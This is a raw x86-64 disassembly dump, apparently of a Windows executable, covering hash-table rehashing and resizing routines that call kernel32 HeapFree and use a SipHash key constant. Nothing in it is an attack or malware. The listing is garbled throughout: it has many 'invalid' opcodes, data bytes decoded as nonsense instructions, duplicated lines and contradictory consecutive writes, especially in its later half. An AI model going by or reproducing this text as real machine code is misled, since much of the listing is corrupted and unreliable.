inc dword [rax]
invalid
je 0x1401298b0
invalid
not r14d
tzcnt r13d, r14d
add r13, rdi
mov rax, r13
neg rax
lea r8, [rax + rax*2]
shl r8, 4
add al, 0x4c
add eax, dword [rsp + 0x50]
add al, 0x4c
add eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x40]
call fcn.1400a7ed0
mov rcx, rax
and rcx, rbp
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
test edx, edx
jne 0x140129937
mov r8d, 0x10
nop word cs:[rax + rax]
add rcx, r8
and rcx, rbp
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
add r8, 0x10
test edx, edx
je 0x140129920
tzcnt edx, edx
add rdx, rcx
and rdx, rbp
cmp byte [rbx + rdx], 0
js 0x140129830
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
tzcnt edx, ecx
jmp 0x140129830
mov rax, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
jmp 0x140129975
mov rcx, qword [rsp + 0x58]
sub rcx, r12
mov qword [rax], rbx
mov qword [rax + 8], rbp
mov dword [rax + 8], ebp
mov dword [rax + 8], ebp
mov qword [rax + 0x10], rcx
test rsi, rsi
je 0x140129cb0
mov ecx, 0x30
mov rax, qword [rsp + 0x60]
mul rcx
add rsi, rax
cmp rsi, 0xffffffffffffffef
je 0x140129cb0
mov r8, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
sub r8, rax
mov rcx, qword [0x14019f258]
sahf
pop rax
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
push 0x5e5f5d5b
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
sahf
pop rax
invalid
pxor xmm1, xmm1
pcmpgtb xmm1, xmmword [r12 + r8]
por xmm1, xmm0
movdqa xmmword [r12 + r8], xmm1
lea rdx, [r8 + 0x20]
lea edx, [rax + 0x20]
lea edx, [rax + 0x20]
pxor xmm1, xmm1
pcmpgtb xmm1, xmmword [r12 + r8 + 0x10]
por xmm1, xmm0
movdqa xmmword [r12 + r8 + 0x10], xmm1
mov r8, rdx
add rcx, 0xfffffffffffffffe
jne 0x1401299f0
test al, 1
je 0x140129a43
pxor xmm0, xmm0
pcmpgtb xmm0, xmmword [r12 + rdx]
por xmm0, xmmword [0x14012f770]
movdqa xmmword [r12 + rdx], xmm0
cmp rbx, 0x10
jae 0x140129a65
lea rcx, [r12 + 0x10]
mov rdx, r12
mov r8, rbx
call fcn.140121660
test rbx, rbx
jne 0x140129a71
xor ecx, ecx
jmp 0x140129ca2
add byte [rax], al
add byte [rax], al
movdqu xmm0, xmmword [r12]
movdqu xmmword [r12 + rbx], xmm0
mov qword [rsp + 0x40], r15
lea rax, [r12 - 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rdi]
mov qword [rsp + 0x28], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov rbx, r12
xor ebp, ebp
jmp 0x140129aca
shr rax, 0x39
lea rcx, [rbp - 0x10]
and rcx, rsi
mov byte [r12 + rbp], al
mov byte [r12 + rcx + 0x10], al
xor ecx, ecx
lea rax, [rbp + 1]
add rbx, 0xffffffffffffffd0
cmp rbp, rsi
mov rbp, rax
je 0x140129c95
cmp cl, byte [r12 + rbp]
jno 0x140129ab6
sub al, 0x71
out 0x48, al
mov eax, ebp
mov rax, rbp
shl rax, 4
lea rax, [rax + rax*2]
mov rcx, qword [rsp + 0x48]
mov rdi, rcx
sub rdi, rax
mov r14, r12
sub r14, rax
mov rax, rbp
not rax
lea r13, [rax + rax*2]
shl r13, 4
add r13, r12
mov rax, rbp
neg rax
lea r15, [rax + rax*2]
shl r15, 4
add r15, rcx
jmp 0x140129b48
movups xmm0, xmmword [r13]
movups xmm1, xmmword [rcx]
movups xmmword [r13], xmm1
movups xmmword [rcx], xmm0
movups xmm0, xmmword [r13 + 0x10]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [rcx + 0x10], xmm0
movdqu xmm0, xmmword [r13 + 0x20]
movdqu xmm1, xmmword [rcx + 0x20]
movdqu xmmword [r13 + 0x20], xmm1
movdqu xmmword [rcx + 0x20], xmm0
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
mov r8, r15
call fcn.1400a7ed0
mov rcx, rsi
and rcx, rax
movdqu xmm0, xmmword [r12 + rcx]
pmovmskb edx, xmm0
mov r8, rcx
test edx, edx
jne 0x140129b98
mov r9d, 0x10
mov r8, rcx
nop word [rax + rax]
add r8, r9
and r8, rsi
movdqu xmm0, xmmword [r12 + r8]
pmovmskb edx, xmm0
add r9, 0x10
test edx, edx
je 0x140129b80
tzcnt edx, edx
add rdx, r8
and rdx, rsi
cmp byte [r12 + rdx], 0
js 0x140129bb7
movdqa xmm0, xmmword [r12]
pmovmskb edx, xmm0
tzcnt edx, edx
mov r8, rbp
sub r8, rcx
mov r9, rdx
sub r9, rcx
xor r9, r8
and r9, rsi
cmp r9, 0x10
jb 0x140129aa0
mov rcx, rdx
not rcx
lea rcx, [rcx + rcx*2]
shl rcx, 4
add rcx, r12
movzx r8d, byte [r12 + rdx]
shr rax, 0x39
lea r9, [rdx - 0x10]
and r9, rsi
mov byte [r12 + rdx], al
mov byte [r12 + r9 + 0x10], al
cmp r8b, 0xff
je 0x140129c60
shl rdx, 4
lea rdx, [rdx + rdx*2]
mov rax, r12
sub rax, rdx
cmp rdi, rax
setae dl
cmp rcx, r14
setae r8b
or r8b, dl
jne 0x140129b10
mov rcx, 0xffffffffffffffd0
nop
movzx edx, byte [rbx + rcx]
movzx r8d, byte [rax + rcx]
mov byte [rbx + rcx], r8b
mov byte [rbx + rcx], al
mov byte [rbx + rcx], al
mov byte [rax + rcx], dl
movzx edx, byte [rbx + rcx + 1]
movzx r8d, byte [rax + rcx + 1]
mov byte [rbx + rcx + 1], r8b
mov byte [rax + rcx + 1], dl
add rcx, 2
jne case.0x140097fb5.837
jmp 0x140129b48
lea rax, [rbp - 0x10]
and rax, rsi
mov byte [r12 + rbp], 0xff
mov byte [r12 + rax + 0x10], 0xff
movdqu xmm0, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
jmp 0x140129ab4
cmp rsi, 8
mov rcx, qword [rsp + 0x40]
cmovb rcx, rsi
sub rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
dec esp
int3
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
enter 0xffffffffffff8b48, 0x49
sbb byte [rax - 0x7d], cl
stc
dec dword [rdi]
test byte [rcx + rcx], al
add byte [rcx - 0x75], cl
push 0x758d4c08
add dword [rcx + rcx*4 - 0x10], ecx
shr rax, 3
mov r9, r14
and r9, 0xfffffffffffffff8
sub r9, rax
cmp rbp, 8
cmovb r9, rbp
movdqa xmm6, xmmword [rdx]
mov rax, r9
shr rax, 1
cmp rcx, rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
jae 0x140129d64
mov rbx, qword [r8]
mov rcx, r14
shr rcx, 4
xor eax, eax
test r14b, 0xf
setne al
add rax, rcx
je 0x14012a0ca
add byte [rax], al
add byte [rax], al
cmp rax, 1
jne 0x14012a05e
xor ecx, ecx
jmp 0x14012a0b4
lea rax, [rcx + 1]
inc r9
cmp rax, r9
cmova r9, rax
cmp r9, 8
jae 0x140129d8b
xor eax, eax
cmp r9, 4
setae al
lea rdi, [rax*4 + 4]
jmp 0x140129dcf
mov rax, r9
shr rax, 0x3d
jne 0x14012a641
shl r9, 3
movabs rcx, 0x2492492492492493
mov rax, r9
mul rcx
sub r9, rdx
shr r9, 1
add r9, rdx
shr r9, 2
dec r9
bsr rcx, r9
not ecx
mov rdi, 0xffffffffffffffff
shr rdi, cl
inc rdi
mov ecx, 0x30
mov rax, rdi
mul rcx
jo 0x14012a641
mov r15, rax
lea r12, [rdi + 0x10]
mov rbx, rax
add rbx, r12
jb 0x14012a641
movabs rax, 0x7ffffffffffffff1
cmp rbx, rax
jae 0x14012a641
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x14012a646
mov r13, rax
lea rsi, [rdi - 1]
mov rax, rdi
shr rax, 3
mov rcx, rdi
and rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rdi, 9
cmovb rcx, rsi
mov qword [rsp + 0x48], rcx
lea rbx, [r13 + r15]
mov rcx, rbx
mov dl, 0xff
mov r8, r12
call fcn.140121d00
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140129ff2
mov qword [rsp + 0x40], r14
lea rax, [r15 + r13]
add rax, 0xffffffffffffffd0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov r14, qword [rax]
movdqa xmm0, xmmword [r14]
pmovmskb r12d, xmm0
not r12d
lea r9, [r14 - 0x30]
xor edi, edi
mov qword [rsp + 0x38], r14
mov r15, rcx
mov qword [rsp + 0x20], r9
jmp 0x140129f1e
lea ecx, [r12 - 1]
and ecx, r12d
dec r15
shr rax, 0x39
lea r8, [rdx - 0x10]
and r8, rsi
mov byte [rbx + rdx], al
mov byte [rbx + r8 + 0x10], al
shl r13, 4
lea rax, [r13*2]
add rax, r13
mov r8, r9
sub r8, rax
shl rdx, 4
lea rax, [rdx + rdx*2]
mov rdx, qword [rsp + 0x50]
sub rdx, rax
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movdqu xmm2, xmmword [r8 + 0x20]
movdqu xmmword [rdx + 0x20], xmm2
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov r12d, ecx
test r15, r15
je 0x140129fe1
test r12w, r12w
jne 0x140129f4f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r14 + 0x10]
add r14, 0x10
pmovmskb r12d, xmm0
add rdi, 0x10
cmp r12d, 0xffff
je 0x140129f30
not r12d
tzcnt r13d, r12d
add r13, rdi
mov rax, r13
neg rax
lea rax, [rax + rax*2]
shl rax, 4
mov rdx, qword [r9 + rax + 8]
mov r8, qword [r9 + rax + 0x10]
movdqa xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
call fcn.1400e0950
mov rcx, rax
and rcx, rsi
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
test edx, edx
jne 0x140129fb7
mov r8d, 0x10
nop dword [rax + rax]
add rcx, r8
and rcx, rsi
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb edx, xmm0
add r8, 0x10
test edx, edx
je 0x140129fa0
mov r9, qword [rsp + 0x20]
tzcnt edx, edx
add rdx, rcx
and rdx, rsi
cmp byte [rbx + rdx], 0
js 0x140129eb0
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
tzcnt edx, ecx
jmp 0x140129eb0
mov rax, qword [rsp + 0x28]
mov r14, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
jmp 0x140129ffa
mov rax, qword [rsp + 0x28]
mov r8, qword [rax]
mov rcx, qword [rsp + 0x48]
sub rcx, qword [rsp + 0x30]
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rcx
test rbp, rbp
je 0x14012a0fc
mov ecx, 0x30
mov rax, r14
mul rcx
add rbp, rax
cmp rbp, 0xffffffffffffffef
je 0x14012a0fc
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
movabs rdx, 0x1ffffffffffffffe
and rdx, rax
xor ecx, ecx
movdqa xmm0, xmmword [0x14012f770]
nop word cs:[rax + rax]
pxor xmm1, xmm1
pcmpgtb xmm1, xmmword [rbx + rcx]
por xmm1, xmm0
movdqa xmmword [rbx + rcx], xmm1
pxor xmm1, xmm1
pcmpgtb xmm1, xmmword [rbx + rcx + 0x10]
por xmm1, xmm0
movdqa xmmword [rbx + rcx + 0x10], xmm1
add rcx, 0x20
add rdx, 0xfffffffffffffffe
jne 0x14012a080
test al, 1
je 0x14012a0ca
pxor xmm0, xmm0
pcmpgtb xmm0, xmmword [rbx + rcx]
por xmm0, xmmword [0x14012f770]
movdqa xmmword [rbx + rcx], xmm0
mov qword [rsp + 0x58], r9
cmp r14, 0x10
jae 0x14012a118
lea rcx, [rbx + 0x10]
mov rdx, rbx
mov r8, r14
call fcn.140121660
test r14, r14
jne 0x14012a122
movdqu xmm0, xmmword [rbx]
movdqu xmmword [rbx + r14], xmm0
pshufd xmm0, xmm6, 0x44
pxor xmm0, xmmword [str.uespemosarenegylmodnarodsetybdet________________]
pshufd xmm1, xmm6, 0xee
pxor xmm1, xmmword [0x14012f750]
lea rax, [rbx - 0x30]
mov qword [rsp + 0x20], rax
pshufd xmm2, xmm1, 0xee
movq qword [rsp + 0x48], xmm2
movq qword [rsp + 0x40], xmm0
movq qword [rsp + 0x38], xmm1
movq qword [rsp + 0x38], xmm1
pshufd xmm2, xmm0, 0xee
movq qword [rsp + 0x68], xmm2
lea r13, [rbx - 0x2e]
imul edx, edx, 0x31
leave
imul edx, edx, 0x31
leave
mov qword [rsp + 0x60], r13
xor esi, esi
jmp 0x14012a1aa
fmul dword [rbp + rcx*4 + 0x34]
shl r14, 4
nop word cs:[rax + rax]
adc dword [rcx + 0x10], edx
mov edx, dword [rsi + 0x10]
push 0x24648b4c
cmp byte [rbx + rcx*4 + 0x7c], cl
and al, 0x48
and al, 0x38
leave
loopne 0x14012a30d
movq mm3, r11
rol dword [rbx + 0x394401c9], 0xe1
loope 0x14012a340
cmp bl, ch
push rax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
invalid
in al, 7
cmp esp, 4
invalid
movzx edi, word [rcx + rcx]
mov bh, 0x3c
or dword [rbp + 0xc50c], ecx
or al, 0xc5
add byte [rax], al
add byte [rax - 0x2d], cl
out 0x49, eax
or ebx, edi
add al, byte [rcx + rdi - 0x20]
movzx eax, byte [rax + rcx]
test esp, esp
loope 0x14012a3a8
or ecx, ebx
leave
pshufw mm2, mm3, 0xee
add eax, ecx
rol ebx, 0x11
ret
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
ror dword [rax - 0x3f], 1
ror dword [0x18cd2a57e], 0x31
add rax, r8
invalid
invalid
leave
ror dword [rax - 0x3f], 0xc1
adc dword [rax + 0x31], ecx
ror dword [rcx - 0x3f], 0xc0
adc eax, 0x20c0c148
invalid
invalid
adc dword [rbp + 1], ecx
ror dword [rax + 0x31], 0xc1
mov ecx, eax
call case.0x14001b1bb.76
mov rcx, rbx
call fcn.1400231c0
in eax, dx
sti
inc dword [rbx + 0x258247c]
mov rax, qword [rsp + 0x60]
je 0x14012aa6c
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x20], 5
jmp 0x14012a966
cmp eax, ecx
xor eax, eax
add byte [rax], al
add byte [rcx - 0x7d], cl
rol byte [rsi + riz*2], 0xf
outsb dx, byte [rsi]
or byte [rax - 0x7d], cl
rol byte [rsi + riz*2], 0xf
invalid
add edx, edi
add rsp, 0x70
cmp dl, byte [rbx + rcx]
nop dword cs:[rax + rax]
lea eax, [rdx + 1]
mov eax, dword [rsp + 0xa8]
mov dh, 0x5c
or dh, bh
pop rdi
invalid
invalid
imul esi, dword [rbx + 0x75], 0x74736c61
jne 0x14016329b
add byte [rsi], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], bl
pop rdi
invalid
add byte [rcx], al
add byte [rax], al
add byte [rdx + 0x45], dl
push rdx
push r9
push rdi
push r11
dec dword [rax - 0x4000180a]
mul bh
jmp rsp
call [rdi]
jmp rdi
call 0x12819d9de
invalid
jmp rbx
call 0x128598f1a
dec dword [rbp + 0x65ffe840]
lea eax, [rax - 0x18]
jmp qword [rbp + 64]
call 0x12859c526
push qword [rdi + 0x6affe840]
call 0x12859862e
dec eax
call 0x12859eb36
dec eax
invalid
invalid
invalid
jae 0x140191b5a
call 0x12859a91e
lea eax, [rax - 0x18]
jmp qword [rbp + 0x40]
call 0x12859862e
dec eax
call 0x12859eb36
dec eax
call 0x1285a173e
dec edi
call 0x12859f246
jmp [rdx + 0x40]
jmp [rdx + 0x40]
invalid
call 0x12860485e
call rbx
call 0x128603366
call 0x1285fef62
call qword [rdi]
call 0x128614e6a
push qword [rdx]
call 0x128614e6e
inc dword [rdx]
invalid
invalid
jmp [rdx]
invalid
push qword [rdx]
call 0x128614e6e
inc dword [rdx]
call 0x128624676
sub cl, byte [rcx - 0x18]
sub cl, byte [rcx - 0x18]
inc dword [rdx]
call 0x128621e7e
jmp [rdx + 0x49]
inc dword [rdx]
add cl, byte [rcx - 0x18]
call 0x128621e8a
call 0x128621e8a
inc dword [rdx]
call 0x128621e8e
inc dword [rdx]
invalid
invalid
add cl, byte [rcx - 0x18]
inc dword [rdx]
call 0x128621e92
inc dword [rdx]
call 0x128621e96
jmp [rdx + 0x49]
call 0x128614e9e
inc dword [rdx]
call 0x12862c2a6
inc dword [rdx]
add cl, byte [rcx - 0x18]
inc dword [rdx]
call 0x128621e96
jmp [rdx + 0x49]